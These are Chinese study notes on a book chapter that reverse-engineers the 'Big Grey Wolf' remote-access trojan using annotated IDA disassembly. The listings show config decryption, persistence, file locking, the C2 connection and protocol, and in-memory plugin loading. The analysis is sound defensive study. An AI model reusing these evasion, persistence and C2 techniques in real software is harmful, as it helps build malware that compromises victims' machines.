《C++反汇编与逆向分析技术揭秘》学习之第16章 大灰狼远控木马逆向分析

 大灰狼远程控制木马是一个较为常见的远控工具,不同的木马病毒团伙对其定制改造后发布了诸多变种。本章将从启动过程、通信协议、远控功能三个方面逆向分析该木马的实现原理。

16.1 调试环境配置

首先需要准备调试环境,安装虚拟机VMware Workstation,配置操作系统(本书以Windows 7为例),准备用于调试的病毒样本,如图16-1所示。

图16-1 虚拟调试环境VMware Workstation界面

配置好虚拟机后请不要急于调试和分析病毒样本,我们需要先做快照备份,用于虚拟调试环境的还原工作。依次单击菜单选项“虚拟机”→“快照”→“从当前状态创建快照”,弹出快照创建窗口,如图16-2所示。

图16-2 创建快照窗口

重新修改快照名称,然后单击“拍摄快照”,保存快照信息。到这里,我们的前期准备工作就完成了。配置好虚拟调试环境,即使不小心运行了病毒程序,只须还原快照即可回到虚拟环境的初始状态。

16.2 病毒程序初步分析

用Detect It Easy工具对病毒样本进行分析后发现,这个病毒程序是由Microsoft Visual C/C++(6.0,2003)编译器编写的。

对病毒样本进行简单分析后,我们确定了分析的方向,接下来就要使用IDA分析病毒样本的程序,分析后的结果如图16-3所示。

图16-3 病毒样本入口代码片段

图16-3所示为入口处的部分反汇编代码,是VS编译器生成的代码,它们并不是我们关心的病毒程序的功能代码,故不对其进行分析。我们直接从WinMain处理代码开始分析,如图16-4所示。

从图16-4中可以看出,WinMain入口病毒不断插入调用Sleep API函数,这是病毒干扰杀毒软件查杀的一种方式。

图16-4 病毒样本WinMain代码片段

笔记--------------------------------------------start

笔记--------------------------------------------end

16.3 启动过程分析

首先分析WinMain函数中的程序流程,如代码清单16-1所示。

代码清单16-1 启动过程代码片段1

.text:00406CBD  push    354h                   ; 参数2:缓冲区大小
.text:00406CC2  push    offset g_AppInfo       ; 参数1:要解密数据的缓冲区首地址
.text:00406CC7  stosb
.text:00406CC8  call    EncryptInfo            ; 调用解密函数解密被加密配置信息1
.text:00406CCD  push    19Ah                   ; 参数2:缓冲区大小
.text:00406CD2  push    offset g_ServerInfo    ; 参数1:要解密数据的缓冲区首地址
.text:00406CD7  call    EncryptInfo            ; 调用解密函数解密被加密的配置信息2
.text:00406CDC  push    1
//cryptInfo函数实现:
.text:00406A30  sub     esp, 10Ch
.text:00406A36  push    esi
.text:00406A37  mov     esi, ds:Sleep          ; 干扰代码
.text:00406A3D  push    0                      ; dwMilliseconds
.text:00406A3F  mov     [esp+114h+key], 'M'
.text:00406A44  mov     [esp+114h+var_10B], 'o'
.text:00406A49  mov     [esp+114h+var_10A], 't'
.text:00406A4E  mov     [esp+114h+var_109], 'h'
.text:00406A53  mov     [esp+114h+var_108], 'e'
.text:00406A58  mov     [esp+114h+var_107], 'r'
.text:00406A5D  mov     [esp+114h+var_106], '3'
.text:00406A62  mov     [esp+114h+var_105], '6'
.text:00406A67  mov     [esp+114h+var_104], '0'
.text:00406A6C  mov     [esp+114h+var_103], 0  ; 初始化局部变量key为Monther360
.text:00406A71  call    esi ; Sleep            ; 干扰代码
.text:00406A73  lea     eax, [esp+110h+key]
.text:00406A77  push    0Ah                    ; 参数4:key长度
.text:00406A79  lea     ecx, [esp+114h+sbox]
.text:00406A7D  push    eax                    ; 参数3:key
.text:00406A7E  push    ecx                    ; 参数2:保存密钥缓冲区地址
.text:00406A7F  mov     ecx, dword_409AD4      ; 参数1:全局对象this指针
.text:00406A85  call    rc4_init               ; 调用rc4初始化函数,根据key初始化密钥
.text:00406A8A  push    0                      ; dwMilliseconds
.text:00406A8C  call    esi ; Sleep            ; 干扰代码
.text:00406A8E  mov     edx, [esp+110h+len]
.text:00406A95  mov     eax, [esp+110h+buff]
.text:00406A9C  and     edx, 0FFFFh
.text:00406AA2  lea     ecx, [esp+110h+sbox]
.text:00406AA6  push    edx                    ; 参数4:要解密数据的缓冲区长度
.text:00406AA7  push    eax                    ; 参数3:要解密数据的缓冲区
.text:00406AA8  push    ecx                    ; 参数2:密钥缓冲区地址
.text:00406AA9  mov     ecx, dword_409AD4      ; 参数1:全局对象this指针
.text:00406AAF  call    rc4_cryp               ; 调用RC4加密函数,根据密钥解密数据
.text:00406AB4  push    0                      ; dwMilliseconds
.text:00406AB6  call    esi ; Sleep            ; 干扰代码
.text:00406AB8  pop     esi
.text:00406AB9  add     esp, 10Ch
.text:00406ABF  retn

代码清单16-1主要是将全局数据区的应用程序配置信息通过RC4加密算法进行解密,解密后的信息如下。

笔记--------------------------------------------start

//cryptInfo函数实现:

笔记--------------------------------------------end

配置信息1:

{
  "服务器IP地址",
  "服务器通信密码",
  2110,
  2110,
  "Mother360",
  "V_130305"
};

配置信息2:

{
  "YYYYYYYYYYYY",
  "Yugqqu qekcaigu",
  "Igaoqa ymusuyukeamucgowws",
  "%ProgramFiles%\\Rumno Qrstuv",
  "SB360.exe",
  "默认分组",
  "Nmbbre hjveaika",
  0,
  0,
  0,
  0,
  0
};

启动过程代码片段2见代码清单16-2。

代码清单16-2 启动过程代码片段2

.text:00406CDC  push    1
.text:00406CDE  call    create_event       ; 创建互斥体,防止病毒重复运行
.text:00406CE3  add     esp, 14h
.text:00406CEE  cmp     dword_40955C, ebx
.text:00406CF4  jz      short loc_406CFB   ; 根据配置信息决定是否删除病毒自身的文件
.text:00406CF6  call    delete_me
.text:00406D07  retn    10h                ; 退出程序
.text:00406D2C  push    104h               ; nSize
.text:00406D31  push    ecx                ; lpDst
.text:00406D32  push    offset Src         ; lpSrc
.text:00406D37  call    ds:ExpandEnvironmentStringsA
                                           ; 配置信息的%SystemRoot%路径扩充为C:WINDOWS\
.text:00406D40  mov     ecx, dword_409AD4
.text:00406D46  lea     edx, [ebp+Dst]
.text:00406D4C  push    edx
.text:00406D4D  push    offset Src
.text:00406D52  call    strcpy             ; 复制扩充后的路径到配置信息
.text:00406D5A  mov     ecx, dword_409AD4
.text:00406D60  push    offset Src
.text:00406D65  call    sub_4044D0         ; 调用函数删除路径尾部的'\'字符
.text:00406DA5  push    offset asc_409460  ; "%"
.text:00406DAA  lea     eax, [ebp+Format]
.text:00406DAD  push    offset Src
.text:00406DB2  push    eax                ; Format
.text:00406DB3  push    offset Dest        ; Dest
.text:00406DB8  call    sprintf            ; 格式化目录和程序名称字符串
.text:00406DBD  add     esp, 10h
.text:00406DC3  mov     ecx, dword_409AD4
.text:00406DC9  push    offset unk_4090E0
.text:00406DCE  push    offset unk_409C34
.text:00406DD3  call    strcpy             ; 获取配置信息和服务器通信的密码
.text:00406DDB  cmp     dword_409568, ebx
.text:00406DE1  jz      short loc_406DE8   ; 根据配置信息确定是否关闭进程
.text:00406DE3  call    KillProcess
.text:00406DE8  mov     al, byte_409560
.text:00406DED  test    al, al
.text:00406DEF  jz      loc_406FFF         ; 判读是否重新安装
.text:00406E17  push    104h               ; nSize
.text:00406E1C  push    ecx                ; lpFilename
.text:00406E1D  push    ebx                ; hModule
.text:00406E1E  call    ds:GetModuleFileNameA ; 获取程序路径
.text:00406E27  mov     ecx, dword_409AD4
.text:00406E2D  lea     edx, [ebp+Filename]
.text:00406E33  push    offset Dest
.text:00406E38  push    edx
.text:00406E39  call    strcmp
.text:00406E3E  test    eax, eax           ; 判断安装路径
.text:00406E40  jnz     short loc_406EC0
.text:00406E42  mov     al, byte_409560
.text:00406E47  mov     word_409C10, 3
.text:00406E50  cmp     al, 2
.text:00406E52  jnz     short loc_406EB0   ; 类型为2表示以服务方式启动病毒
.text:00406E85  mov     edi, ds:StartServiceCtrlDispatcherA ; 启动服务
.text:00406EB0  call    run_main           ; 直接方式运行病毒
.text:00406F25  push    offset g_AppInfo
.text:00406F2A  call    sub_4063F0         ; 写入服务版本安装时间信息到注册表
.text:00406F2F  add     esp, 1Ch
.text:00406F36  push    offset a3          ; "+3"
.text:00406F3B  push    offset DisplayName ; lpDisplayName
.text:00406F40  lea     ecx, [ebp+Dest]
.text:00406F46  push    offset g_AppInfo   ; lpServiceName
.text:00406F4B  push    ecx                ; int
.text:00406F4C  call    InstallService     ; 安装病毒服务
.text:00406F6D  jnz     short loc_406FBD   ; 循环检查进程是否运行
.text:00406FC1  cmp     byte_409560, 1
.text:00406FC8  jnz     short loc_406FDE   ; 检查配置信息,查看是否通过注册表开机运行
.text:00406FCA  lea     ecx, [ebp+Dest]
.text:00406FD0  push    ecx                ; lpData
.text:00406FD1  push    offset g_AppInfo   ; int
.text:00406FD6  call    WriteReg
                  ; 写入注册表到SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
 // run_main函数实现:
.text:00406B10  mov     eax, dword_409564
.text:00406B15  push    esi
.text:00406B16  mov     esi, ds:Sleep
.text:00406B1C  test    eax, eax
.text:00406B1E  jz      short loc_406B31   ; 根据配置信息判断是否独占打开文件并运行
.text:00406B24  push    offset Dest        ; lpFileName
.text:00406B29  call    occupy_file        ; 调用函数独占目标文件
.text:00406B2E  add     esp, 4
.text:00406B35  call    socket_main        ; 调用网络通信的主入口函数
.text:00406B3A  pop     esi
.text:00406B3B  retn
 // occupy_file函数实现:
.text:0040617F  call    ds:GetCurrentProcess; 获取当前进程

.text:0040618B  lea     eax, [esp+30h+TokenHandle]
.text:0040618F  push    eax                 ; TokenHandle
.text:00406190  push    28h                 ; DesiredAccess
.text:00406192  push    edi                 ; ProcessHandle
.text:00406193  call    ds:OpenProcessToken      ; 打开当前进程令牌
.text:00406199  test    eax, eax
.text:0040619B  jz      loc_406279
.text:004061B9  mov     cl, 69h
.text:004061BB  mov     dl, 67h
.text:004061BD  mov     [esp+30h+var_B], cl
.text:004061C1  mov     [esp+30h+var_9], cl
.text:004061C5  mov     [esp+30h+var_E], dl
.text:004061C9  mov     [esp+30h+var_6], dl
.text:004061CD  lea     ecx, [esp+30h+NewState.Privileges]
.text:004061D1  lea     edx, [esp+30h+Name]
.text:004061D5  push    ecx             ; lpLuid
.text:004061D6  mov     al, 65h
.text:004061D8  push    edx             ; lpName
.text:004061D9  push    0               ; lpSystemName
.text:004061DB  mov     [esp+3Ch+Name], 53h
.text:004061E0  mov     [esp+3Ch+var_13], al
.text:004061E4  mov     [esp+3Ch+var_12], 44h
.text:004061E9  mov     [esp+3Ch+var_11], al
.text:004061ED  mov     [esp+3Ch+var_10], 62h
.text:004061F2  mov     [esp+3Ch+var_F], 75h
.text:004061F7  mov     [esp+3Ch+var_D], 50h
.text:004061FC  mov     [esp+3Ch+var_C], 72h
.text:00406201  mov     [esp+3Ch+var_A], 76h
.text:00406206  mov     [esp+3Ch+var_8], 6Ch
.text:0040620B  mov     [esp+3Ch+var_7], al
.text:0040620F  mov     [esp+3Ch+var_5], al
.text:00406213  mov     [esp+3Ch+var_4], 0
.text:00406218  call    ds:LookupPrivilegeValueA     ; 查询令牌特权
.text:0040624A  push    0                            ; ReturnLength
.text:0040624C  push    0                            ; PreviousState
.text:0040624E  lea     eax, [esp+38h+NewState]
.text:00406252  push    0                            ; BufferLength
.text:00406254  push    eax                          ; NewState
.text:00406255  push    0                            ; DisableAllPrivileges
.text:00406257  push    ecx                          ; TokenHandle
.text:00406258  call    ds:AdjustTokenPrivileges     ; 调整令牌特权
.text:0040626A  mov     edx, [esp+30h+TokenHandle]
.text:0040626E  push    edx                          ; hObject
.text:0040626F  call    ds:CloseHandle               ; 关闭句柄
.text:0040627D  pop     edi
.text:0040627E  pop     esi
.text:0040627F  add     esp, 28h
.text:00406282  retn

笔记--------------------------------------------start

// run_main函数实现:

// occupy_file函数实现:

笔记--------------------------------------------end

代码清单16-2首先根据解密后配置的信息决定病毒的启动方式:直接启动、通过服务启动、修改注册表SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run开机启动,然后读取和保存注册表信息,最后病毒进入真正的入口代码run_main。在run_main中,病毒根据配置信息决定是否以独占方式运行,使病毒程序无法被删除,其独占运行原理如下。启动过程代码片段3如代码清单16-3所示。

通过AdjustTokenPrivileges提权。通过OpenProcess打开System进程(PID为4)。通过CreateFile打开独占大文件句柄。通过DuplicateHandle将文件句柄复制到System进程中。最后病毒通过socket_main函数进入和服务器通信的流程。

代码清单16-3 启动过程代码片段3

.text:004014CD  lea     eax, [esp+1ACh+WSAData]
.text:004014D1  mov     byte ptr [esp+1ACh+var_4], 3
.text:004014D9  push    eax             ; lpWSAData
.text:004014DA  push    202h            ; wVersionRequested
.text:004014DF  mov     dword ptr [esi], offset off_408248
.text:004014E5  call    ds:WSAStartup   ; 初始化socket库
.text:004014EB  push    0               ; lpName
.text:004014ED  push    0               ; bInitialState
.text:004014EF  push    1               ; bManualReset
.text:004014F1  push    0               ; lpEventAttributes
.text:004014F3  call    ds:CreateEventA      ; 创建socket事件对象
.text:004014F9  lea     ecx, [esp+1ACh+key]
.text:004014FD  mov     [esi+0ACh], eax
.text:00401503  push    5
.text:00401505  mov     byte ptr [esi+0B0h], 0
.text:0040150C  mov     dword ptr [esi+0A8h], 0FFFFFFFFh
.text:00401516  mov     al, 'u'
.text:00401518  push    ecx
.text:00401519  mov     ecx, g_Obj
.text:0040151F  push    offset unk_409594
.text:00401524  mov     [esp+1B8h+key], 'K'
.text:00401529  mov     [esp+11h], al
.text:0040152D  mov     [esp+1B8h+var_1A6], 'G'
.text:00401532  mov     [esp+1B8h+var_1A5], 'o'
.text:00401537  mov     [esp+1B8h+var_1A4], al  ; 初始化通信的包头字符串为KuGou
.text:0040153B  call    memcpy                  ; 复制通信包头字符串
.text:00401540  mov     ecx, g_Obj
.text:00401546  push    offset g_key
.text:0040154B  call    strlen                  ; 获取配置信息key的长度
.text:00401550  mov     ecx, g_Obj
.text:00401556  push    eax
.text:00401557  push    offset g_key
.text:0040155C  push    offset g_sbox
.text:00401561  call    rc4_init                ; 初始化RC4密钥
.text:0040684D  lea     ecx, [esp+0A054h+var_A024]
.text:00406851  all     connect_server          ; 连接服务器
// connect_server函数实现
.text:004016C7  push    6                       ; protocol
.text:004016C9  push    1                       ; type
.text:004016CB  push    2                       ; af
.text:004016CD  call    ds:socket               ; 初始化TCP socket
.text:004016D3  cmp     eax, 0FFFFFFFFh
.text:004016D6  mov     [esi+0A8h], eax
.text:004016DC  jnz     short loc_4016E9        ; 检查socket是否初始化成功
.text:004016DE  pop     edi
.text:004016DF  pop     esi
.text:004016E0  xor     eax, eax
.text:004016E2  pop     ebp
.text:004016E3  add     esp, 1Ch
.text:004016E6  retn    8
.text:004016E9  push    ebp                     ; name
.text:004016EA  call    ds:gethostbyname        ; 查询DNS服务器,根据域名转换地址
.text:004016F0  mov     edi, eax
.text:004016F2  test    edi, edi
.text:004016F4  jnz     short loc_4016FF        ; 检查查询结果
.text:004016F6  pop     edi
.text:004016F7  pop     esi
.text:004016F8  pop     ebp
.text:004016F9  add     esp, 1Ch
.text:004016FC  retn    8
.text:004016FF  mov     eax, dword_40959C
.text:00401704  mov     [esp+28h+var_10.sa_family], 2
.text:0040170B  test    eax, eax
.text:0040170D  jz      short loc_401719
.text:0040170F  mov     cx, word_409020
.text:00401716  push    ecx
.text:00401717  jmp     short loc_40171E        ; 端口大小尾转换
.text:00401719  mov     edx, dword ptr [esp+28h+hostshort]
.text:0040171D  push    edx                     ; hostshort
.text:0040171E  call    ds:htons                ; 端口大小尾转换
.text:00401724  mov     word ptr [esp+28h+var_10.sa_data], ax
.text:00401729  mov     eax, [edi+0Ch]
.text:0040172C  push    10h                     ; namelen
.text:0040172E  mov     ecx, [eax]
.text:00401730  lea     eax, [esp+2Ch+var_10]
.text:00401734  push    eax                     ; name
.text:00401735  mov     edx, [ecx]
.text:00401737  mov     ecx, [esi+0A8h]         ; 初始化SOCKADDR结构体
.text:0040173D  push    ecx                     ; s
.text:0040173E  mov     dword ptr [esp+34h+var_10.sa_data+2], edx
.text:00401742  call    ds:connect              ; 根据配置信息连接服务器
.text:00401748  cmp     eax, 0FFFFFFFFh
.text:0040174B  jnz     short loc_401758        ; 检查连接是否成功
.text:00401787  push    4                       ; optlen
.text:00401789  push    eax                     ; optval
.text:0040178A  push    8                       ; optname
.text:0040178C  push    0FFFFh                  ; level
.text:00401791  push    ecx                     ; s
.text:00401792  mov     [esp+3Ch+name], 1
.text:0040179A  call    ds:setsockopt           ; 开启KeepAlive机制
.text:004017A0  test    eax, eax
.text:004017A2  jnz     short loc_4017DE
.text:004017A4  mov     ecx, [esi+0A8h]
.text:004017AA  push    eax                     ; lpCompletionRoutine
.text:004017AB  lea     edx, [esp+2Ch+name]
.text:004017AF  push    eax                     ; lpOverlapped
.text:004017B0  push    edx                     ; lpcbBytesReturned
.text:004017B1  push    eax                     ; cbOutBuffer
.text:004017B2  push    eax                     ; lpvOutBuffer
.text:004017B3  lea     eax, [esp+3Ch+vInBuffer]
.text:004017B7  push    0Ch                     ; cbInBuffer
.text:004017B9  push    eax                     ; lpvInBuffer
.text:004017BA  push    98000004h               ; dwIoControlCode
.text:004017BF  push    ecx                     ; s
.text:004017C0  mov     [esp+4Ch+vInBuffer], 1
.text:004017C8  mov     [esp+4Ch+var_18], 0EA60h
.text:004017D0  mov     [esp+4Ch+var_14], 1388h
.text:004017D8  call    ds:WSAIoctl             ; 设置超时信息
.text:004017DE  push    1
.text:004017E0  push    0
.text:004017E2  push    0
.text:004017E4  push    esi
.text:004017E5  push    offset recv_proc        ; 参数3:线程回调函数
.text:004017EA  push    0
.text:004017EC  push    0
.text:004017EE  mov     byte ptr [esi+0B0h], 1
.text:004017F5  call    create_threaad          ; 创建接收主控端数据线程
// recv_proc函数实现:
.text:00401BC9  push    0                       ; timeout
.text:00401BCB  push    0                       ; exceptfds
.text:00401BCD  lea     ecx, [esp+2380h+readfds]
.text:00401BD4  push    0                       ; writefds
.text:00401BD6  push    ecx                     ; readfds
.text:00401BD7  push    0                       ; nfds
.text:00401BD9  call    ds:select               ; select检查主控端发送的数据
.text:00401BDF  cmp     eax, 0FFFFFFFFh
.text:00401BE2  jz      loc_401DD6
.text:00401BE8  test    eax, eax
.text:00401BEA  jle     loc_401DC3
.text:00401BF0  mov     ecx, 800h
.text:00401BF5  xor     eax, eax
.text:00401BF7  lea     edi, [esp+2378h+buf]
.text:00401C0A  push    0                ; flags
.text:00401C0C  lea     edx, [esp+237Ch+buf]
.text:00401C13  push    2000h                   ; len
.text:00401C18  push    edx                     ; buf
.text:00401C19  push    eax                     ; s
.text:00401C1A  call    ds:recv                 ; 接收主控端发送的数据

如代码清单16-3所示,病毒接下来初始化socket,然后创建一个线程,循环接收从远程主控端发送来的数据。

笔记--------------------------------------------start

// connect_server函数实现

// recv_proc函数实现

笔记--------------------------------------------end

16.4 通信协议分析

通信协议分析如代码清单16-4所示。

代码清单16-4 通信协议代码片段

.text:00401C78  lea     eax, [esp+2378h+buf]
.text:00401C7F  push    9                 ; 参数4:数据长度
.text:00401C81  lea     ecx, [esp+237Ch+sbox]
.text:00401C85  push    eax               ; 参数3:缓冲区buf
.text:00401C86  push    ecx               ; 参数2:密钥
.text:00401C87  jmp     short loc_401C97  ; 参数1:this指针
.text:00401C89  lea     edx, [esp+2378h+buf]
.text:00401C90  push    esi
.text:00401C91  lea     eax, [esp+237Ch+sbox]
.text:00401C95  push    edx
.text:00401C96  push    eax
.text:00401C97  mov     ecx, g_Obj        ; 参数1:this指针
.text:00401C9D  call    rc4_cryp          ; RC4解密数据头,接收数据的前9字节
.text:00401CA6  lea     ecx, [esp+2378h+buf]
.text:00401CAD  push    esi               ; Size
.text:00401CAE  push    ecx               ; Src
.text:00401CAF  lea     ecx, [esp+2380h+buff_obj] ; 缓冲区对象this指针
.text:00401CB3  call    buff_save         ; 保存接收的数据到缓冲区
.text:00401CBA  mov     [esp+237Ch+size], 0
.text:00401CC4  push    4                 ; Size
.text:00401CC6  push    5                 ; 参数2:offset,缓冲区偏移
.text:00401CC8  lea     ecx, [esp+2380h+buff_obj] ; 参数1:缓冲区对象this指针
.text:00401CCC  call    buff_get          ; 获取缓冲区的数据
.text:00401CD1  lea     edx, [esp+237Ch+size]
.text:00401CD5  push    eax               ; Src
.text:00401CD6  push    edx               ; Dst
.text:00401CD7  call    memmove
                              ; 从缓冲区获取数据的大小,前5字节为标志,后4字节为数据长度
.text:00401CDC  add     esp, 0Ch
.text:00401CE3  push    0                 ; 参数2:offset,缓冲区偏移
.text:00401CE5  lea     ecx, [esp+237Ch+buff_obj] ; 参数1:缓冲区对象this指针
.text:00401CE9  mov     edi, offset unk_409594
.text:00401CEE  call    buff_get          ; 获取前5字节的标志
.text:00401CF3  mov     esi, eax
.text:00401CF5  mov     ecx, 5
.text:00401CFA  xor     eax, eax
.text:00401CFC  repe cmpsb
.text:00401CFF  jnz     loc_401DA7        ; 判断前5字节标志是否为KuGou
.text:00401D07  mov     eax, [esp+2378h+size]
.text:00401D0B  test    eax, eax
.text:00401D0D  jz      loc_401DC3
.text:00401D13  lea     ecx, [esp+2378h+var_2364]
.text:00401D17  call    buff_get_size
.text:00401D1C  mov     ecx, [esp+2378h+size]
.text:00401D20  cmp     eax, ecx
.text:00401D22  jb      loc_401DC3
.text:00401D28  push    ecx               ; unsigned int
.text:00401D29  call    ??2@YAPAXI@Z      ; 申请数据缓冲区
.text:00401D2E  mov     ecx, [esp+237Ch+size]
.text:00401D32  add     esp, 4
.text:00401D35  mov     esi, eax
.text:00401D37  push    ecx               ; Size
.text:00401D38  push    0
.text:00401D3A  lea     ecx, [esp+2380h+var_2364]
.text:00401D3E  call    buff_get
.text:00401D43  push    eax               ; Src
.text:00401D44  push    esi               ; Dst
.text:00401D45  call    memmove           ; 保存数据到缓冲区
.text:00401D4A  add     esp, 0Ch
.text:00401D4D  lea     ecx, [esp+2378h+buff_obj]
.text:00401D51  call    buff_clean        ; 清除缓冲区数据
.text:00401D56  lea     ecx, [esp+2378h+var_2364]
.text:00401D5A  call    buff_clean        ; 清除缓冲区数据
.text:00401D5F  mov     ecx, g_Obj
.text:00401D65  push    100h
.text:00401D6A  lea     edx, [esp+237Ch+sbox]
.text:00401D6E  push    offset g_sbox
.text:00401D73  push    edx
.text:00401D74  call    memcpy            ; 复制密钥
.text:00401D79  lea     ecx, [esp+2378h+sbox]
.text:00401D7D  mov     eax, [esp+2378h+size]
.text:00401D81  push    eax
.text:00401D82  push    esi
.text:00401D83  push    ecx
.text:00401D84  mov     ecx, g_Obj
.text:00401D8A  call    rc4_cryp          ; 根据头的数据长度解密数据
.text:00401D8F  mov     ecx, ebx
.text:00401D91  mov     edx, [esp+2378h+size]
.text:00401D95  push    edx               ; prev_size
.text:00401D96  push    esi               ; Src
.text:00401D97  call    parse_data        ; 调用解析数据函数
//parse_data函数实现代码:
.text:00401F1D  push    5                 ; Size
.text:00401F1F  push    ecx               ; Dst
.text:00401F20  mov     ecx, edi          ; 参数1:对象this指针
.text:00401F22  call    buff_read         ; 读取标志5字节
.text:00401F2A  lea     edx, [ebp+prev_size]
.text:00401F2D  push    4                 ; Size
.text:00401F2F  push    edx               ; Dst
.text:00401F30  mov     ecx, edi
.text:00401F32  call    buff_read         ; 读取压缩前的数据大小
.text:00401F3A  lea     eax, [ebp+aft_size]
.text:00401F3D  push    4                 ; Size
.text:00401F3F  push    eax               ; Dst
.text:00401F40  mov     ecx, edi          ; 参数1:对象this指针
.text:00401F42  call    buff_read         ; 读取压缩后的数据大小
.text:00401F4A  mov     ecx, [ebp+prev_size]
.text:00401F4F  lea     ebx, [ecx-11h]    ; 申请空间的大小减去头大小,头大小为17字节
.text:00401F54  push    ebx               ; unsigned int
.text:00401F55  call    ??2@YAPAXI@Z      ; 申请缓冲区空间
.text:00401F5A  add     esp, 4
.text:00401F5D  mov     [ebp+Src], eax
.text:00401F64  mov     edx, [ebp+Src]
.text:00401F67  push    ebx               ; Size
.text:00401F68  push    edx               ; Dst
.text:00401F69  mov     ecx, edi          ; 参数1:对象this指针
.text:00401F6B  call    buff_read         ; 读取数据
.text:00401F74  lea     eax, [ebp+var_18]
.text:00401F77  push    4                 ; Size
.text:00401F79  push    eax               ; Dst
.text:00401F7A  mov     ecx, edi          ; 参数1:对象this指针
.text:00401F7C  call    buff_read         ; 读取压缩标志
.text:00401F85  cmp     [ebp+var_18], 1C03h
.text:00401F8C  jnz     short loc_401FCD  ; 检查压缩标志,数据是否压缩过,压缩过则不处理
.text:00401F8E  mov     ecx, [ebp+var_14]
.text:00401F91  add     ecx, 2Ch
.text:00401F94  call    buff_clean        ; 清空缓冲区
.text:00401F99  mov     eax, [ebp+var_14]
.text:00401F9C  mov     edx, [ebp+Src]
.text:00401F9F  push    ebx               ; Size
.text:00401FA0  push    edx               ; Src
.text:00401FA1  lea     ebx, [eax+2Ch]
.text:00401FA4  mov     ecx, ebx          ; 参数1:对象this指针
.text:00401FA6  call    buff_save         ; 保存解密解压后的数据到对象缓冲区
.text:00401FAB  mov     ecx, ebx          ; 参数1:对象this指针
.text:00401FAD  call    buff_get_size     ; 获取缓冲区大小
.text:00401FB2  push    0
.text:00401FB4  mov     ecx, ebx          ; 参数1:对象this指针
.text:00401FB6  mov     ebx, eax
.text:00401FB8  call    buff_get          ; 获取缓冲区地址
.text:00401FBD  mov     ecx, [ebp+var_14]
.text:00401FC0  push    ebx
.text:00401FC1  push    eax
.text:00401FC2  mov     ecx, [ecx+0B4h]
.text:00401FC8  mov     edx, [ecx]        ; 获取对象虚表
.text:00401FCA  call    dword ptr [edx+4] ; 调用虚函数parse_command解析命令
//parse_command函数实现代码:
.text:00403620  push    esi
.text:00403621  mov     esi, ecx
.text:00403623  mov     eax, [esi+4]
.text:00403626  mov     ecx, [eax+0A8h]
.text:0040362C  mov     eax, [esp+4+arg_0]
.text:00403630  mov     dword_4099C0, ecx
.text:00403636  xor     ecx, ecx
.text:00403638  mov     cl, [eax]         ; switch第一个字节的命令

笔记--------------------------------------------start

//parse_data函数实现代码:

//parse_command函数实现代码:

笔记--------------------------------------------end

如代码清单16-4所示,经过分析发现所有数据都经过RC4加密,其他用于描述头部信息的数据共有17字节,整个协议格式描述如表16-1所示。

表16-1 通信协议格式

命令功能如表16-2所示。

表16-2 命令功能

16.5 远控功能分析

远控功能分析如代码清单16-5所示。

代码清单16-5 从主控端下载并运行插件功能代码片段

.text:0040287A  mov     eax, g_isLoad     ; 插件加载标志
.text:0040287F  push    ebp
.text:00402880  mov     [esp+60h+var_44], cl
.text:00402884  mov     [esp+60h+var_3A], cl
.text:00402888  mov     cl, byte ptr word_409C10
.text:0040288E  xor     ebp, ebp
.text:00402890  mov     bl, 'S'
.text:00402892  push    esi
.text:00402893  mov     esi, ds:Sleep
.text:00402899  mov     [esp+64h+var_43], 'I'
.text:0040289E  test    eax, eax
.text:004028A0  mov     [esp+64h+var_42], 'D'
.text:004028A5  mov     [esp+64h+var_41], ':'
.text:004028AA  mov     [esp+64h+var_40], '2'
.text:004028AF  mov     [esp+64h+var_3F], '0'
.text:004028B4  mov     [esp+64h+var_3D], '3'
.text:004028B9  mov     [esp+64h+var_3C], '-'
.text:004028BE  mov     [esp+64h+var_3B], bl
.text:004028C2  mov     [esp+64h+var_38], 0 ; 插件文件ID标志
.text:004028C7  mov     byte ptr [esp+64h+IsLoad], cl
.text:004028CB  jnz     loc_402A41          ; 检查是否加载插件
.text:004028D1  mov     ecx, [esp+64h+arg_4]
.text:004028D5  push    ecx
.text:004028D6  call    get_control_path    ; 获取插件保存路径:C:\windows\system32
.text:004028DB  add     esp, 4
.text:004028DE  push    ebp                 ; dwMilliseconds
.text:004028DF  call    esi ; Sleep
.text:004028E1  push    offset FileName     ; lpFileName
.text:004028E6  call    ds:GetFileAttributesA
.text:004028EC  cmp     eax, 0FFFFFFFFh
.text:004028EF  jz      short loc_402966    ; 检查插件动态库文件是否存在
.text:00402982  push    0                   ; hTemplateFile
.text:00402984  push    80h                 ; dwFlagsAndAttributes
.text:00402989  push    3                   ; dwCreationDisposition
.text:0040298B  push    0                   ; lpSecurityAttributes
.text:0040298D  push    0                   ; dwShareMode
.text:0040298F  push    80000000h           ; dwDesiredAccess
.text:00402994  push    offset FileName     ; lpFileName
.text:00402999  call    ds:CreateFileA      ; 插件更新完成,打开插件文件
.text:0040299F  cmp     eax, 0FFFFFFFFh
.text:004029A2  mov     hObject, eax
.text:004029A7  jnz     short loc_4029B2
.text:004029A9  pop     esi
.text:004029AA  pop     ebp
.text:004029AB  xor     eax, eax
.text:004029AD  pop     ebx
.text:004029AE  add     esp, 58h
.text:004029B1  retn

.text:004029B2  push    0                   ; dwMilliseconds
.text:004029B4  call    esi ; Sleep
.text:004029B6  mov     eax, hObject
.text:004029BB  push    0                   ; lpFileSizeHigh
.text:004029BD  push    eax                 ; hFile
.text:004029BE  call    ds:GetFileSize      ; 获取文件大小
.text:004029C4  push    4                   ; flProtect
.text:004029C6  push    3000h               ; flAllocationType
.text:004029CB  push    eax                 ; dwSize
.text:004029CC  push    0                   ; lpAddress
.text:004029CE  mov     nNumberOfBytesToRead, eax
.text:004029D3  call    ds:VirtualAlloc     ; 根据文件大小申请内存缓冲区加载
.text:004029DB  mov     lpBuffer, eax
.text:004029E2  mov     ecx, nNumberOfBytesToRead
.text:004029E8  mov     edx, lpBuffer
.text:004029EE  mov     eax, hObject
.text:004029F3  push    0                   ; lpOverlapped
.text:004029F5  push    offset NumberOfBytesRead       ; lpNumberOfBytesRead
.text:004029FA  push    ecx                 ; nNumberOfBytesToRead
.text:004029FB  push    edx                 ; lpBuffer
.text:004029FC  push    eax                 ; hFile
.text:004029FD  call    ds:ReadFile         ; 读取文件数据
.text:00402A03  push    0                   ; dwMilliseconds
.text:00402A05  call    esi ; Sleep
.text:00402A07  mov     ecx, hObject
.text:00402A0D  push    ecx                 ; hObject
.text:00402A0E  call    ds:CloseHandle      ; 关闭文件
.text:00402A18  mov     edx, lpBuffer
.text:00402A1E  push    edx
.text:00402A1F  call    load_pe							; 内存中模拟加载PE文件,避免调用LoadLibrary
                                            
.text:00402A24  add     esp, 4
